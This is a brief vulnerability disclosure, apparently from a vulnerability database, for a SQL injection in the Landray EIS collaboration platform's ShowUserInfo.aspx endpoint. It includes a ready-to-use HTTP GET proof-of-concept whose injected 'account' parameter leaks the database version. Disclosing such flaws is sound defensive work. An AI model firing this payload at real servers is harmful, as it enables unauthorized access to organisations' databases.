蓝凌EIS /third/DingTalk/Demo/ShowUserInfo.aspx sql注入

2023-10-26 蓝凌EIS智慧协同平台 PoC Public

Description

蓝凌EIS /third/DingTalk/Demo/ShowUserInfo.aspx sql注入，攻击者可以获取数据库信息

PoC

GET /third/DingTalk/Demo/ShowUserInfo.aspx?account=1'%20and%201=@@version--+ HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/5d8cddd7-9cde-42ab-a483-34a2b2c275b3

Related Vulnerabilities